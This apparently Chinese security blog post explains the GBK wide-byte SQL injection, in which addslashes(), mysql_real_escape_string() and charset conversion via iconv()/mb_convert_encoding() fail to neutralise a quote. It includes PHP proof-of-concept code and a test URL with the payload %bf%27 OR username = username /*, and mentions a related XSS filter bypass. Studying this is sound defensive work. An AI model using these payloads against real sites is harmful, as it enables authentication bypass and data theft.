其实这东西国内少数黑客早已知道,只不过没有共享公布而已。有些人是不愿共享,宁愿烂在地里,另外的一些则是用来牟利。 该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时,0xbf27本身不是一个有效的GBK字符,但经过addslashes() 转换后变为 0xbf5c27
其实这东西国内少数黑客早已知道,只不过没有共享公布而已。有些人是不愿共享,宁愿烂在地里,另外的一些则是用来牟利。
该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时,0xbf27本身不是一个有效的GBK字符,但经过 addslashes() 转换后变为0xbf5c27
,前面的0xbf5c是个有
效的GBK字符,所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理,结果漏洞就触发了。
mysql_real_escape_string() 也存在相同的问题,只不过相比 addslashes() 它考虑到了用什么字符集来处理,因此可以用相
应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。
方法一:
修改mysql配置文件my.cnf
[client]
default-character-set=GBK
方法二:
在建立连接时使用:SET CHARACTER SET 'GBK'
例:mysql_query("SET CHARACTER SET 'gbk'", $c);
问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞
下面是来自http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码
<span>php </span><span>$c</span> = <span>mysql_connect</span>("localhost", "user", "pass"<span>); </span><span>mysql_select_db</span>("database", <span>$c</span><span>); </span><span>//</span><span> change our character set</span> <span>mysql_query</span>("SET CHARACTER SET 'gbk'", <span>$c</span><span>); </span><span>//</span><span> create demo table</span> <span>mysql_query</span>("<span>CREATE TABLE users ( username VARCHAR(32) PRIMARY KEY, password VARCHAR(32) ) CHARACTER SET 'GBK'</span>", <span>$c</span><span>); </span><span>mysql_query</span>("INSERT INTO users VALUES('foo','bar'), ('baz','test')", <span>$c</span><span>); </span><span>//</span><span> now the exploit code</span> <span>$_POST</span>['username'] = <span>chr</span>(0xbf) . <span>chr</span>(0x27) . ' OR username = username /*'<span>; </span><span>$_POST</span>['password'] = 'anything'<span>; </span><span>//</span><span> Proper escaping, we should be safe, right?</span> <span>$user</span> = <span>mysql_real_escape_string</span>(<span>$_POST</span>['username'], <span>$c</span><span>); </span><span>$passwd</span> = <span>mysql_real_escape_string</span>(<span>$_POST</span>['password'], <span>$c</span><span>); </span><span>$sql</span> = "SELECT * FROM users WHERE username = '{<span>$user</span>}' AND password = '{<span>$passwd</span>}'"<span>; </span><span>$res</span> = <span>mysql_query</span>(<span>$sql</span>, <span>$c</span><span>); </span><span>echo</span> <span>mysql_num_rows</span>(<span>$res</span>); <span>//</span><span> will print 2, indicating that we were able to fetch all records</span> ?>
纵观以上两种触发漏洞的关键是addslashes() 在Mysql配置为GBK时就可以触发漏洞,而mysql_real_escape_string() 是在不知
道字符集的情况下用默认字符集处理产生漏洞的。
下面再来分析下国内最近漏洞产生的原因。
问题出现在一些字符转换函数上,例如mb_convert_encoding()和iconv()等。
发布在80sec上的说明说0xc127等一些字符再被addslashes() 处理成0xc15c27后,又经过一些字符转换函数变为0×808027,而使得经过
addslashes() 加上的"\"失效,这样单引号就又发挥作用了。这就造成了字符注入漏洞。
根据80sec的说明,iconv()没有该问题,但经我用0xbf27测试
<span>$id1</span>=mb_convert_encoding(<span>$_GET</span>['id'], 'utf-8', 'gbk'<span>); </span><span>$id2</span>=<span>iconv</span>('gbk//IGNORE', 'utf-8', <span>$_GET</span>['id'<span>]); </span><span>$id3</span>=<span>iconv</span>('gbk', 'utf-8', <span>$_GET</span>['id']);
这些在GPC开启的情况下还是会产生字符注入漏洞,测试代码如下:
<span>php </span><span>$c</span> = <span>mysql_connect</span>("localhost", "user", "pass"<span>); </span><span>mysql_select_db</span>("database", <span>$c</span><span>); </span><span>//</span><span> change our character set</span> <span>mysql_query</span>("SET CHARACTER SET 'gbk'", <span>$c</span><span>); </span><span>//</span><span> create demo table</span> <span>mysql_query</span>("<span>CREATE TABLE users ( username VARCHAR(32) PRIMARY KEY, password VARCHAR(32) ) CHARACTER SET 'GBK'</span>", <span>$c</span><span>); </span><span>mysql_query</span>("INSERT INTO users VALUES('foo','bar'), ('baz','test')", <span>$c</span><span>); </span><span>//</span><span> now the exploit code //$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');</span> <span>$id2</span>=<span>iconv</span>('gbk//IGNORE', 'utf-8', <span>$_GET</span>['id'<span>]); </span><span>//</span><span>$id3=iconv('gbk', 'utf-8', $_GET['id']);</span> <span>$sql</span> = "SELECT * FROM users WHERE username = '{<span>$id2</span>}' AND password = 'password'"<span>; </span><span>$res</span> = <span>mysql_query</span>(<span>$sql</span>, <span>$c</span><span>); </span><span>echo</span> <span>mysql_num_rows</span>(<span>$res</span>); <span>//</span><span> will print 2, indicating that we were able to fetch all records</span> ?>
测试情况:http://www.safe3.cn/test.php?id=%bf%27 OR username = username /*
后记,这里不光是%bf,其它许多字符也可以造成同样漏洞,大家可以自己做个测试的查下,这里有zwell文章提到的一个分析
http://hackme.ntobjectives.com/sql_inject/login_addslashes.php 。编码的问题在xss中也有利用价值,详情请看我
Bypassing script filters with variable-width encodings 。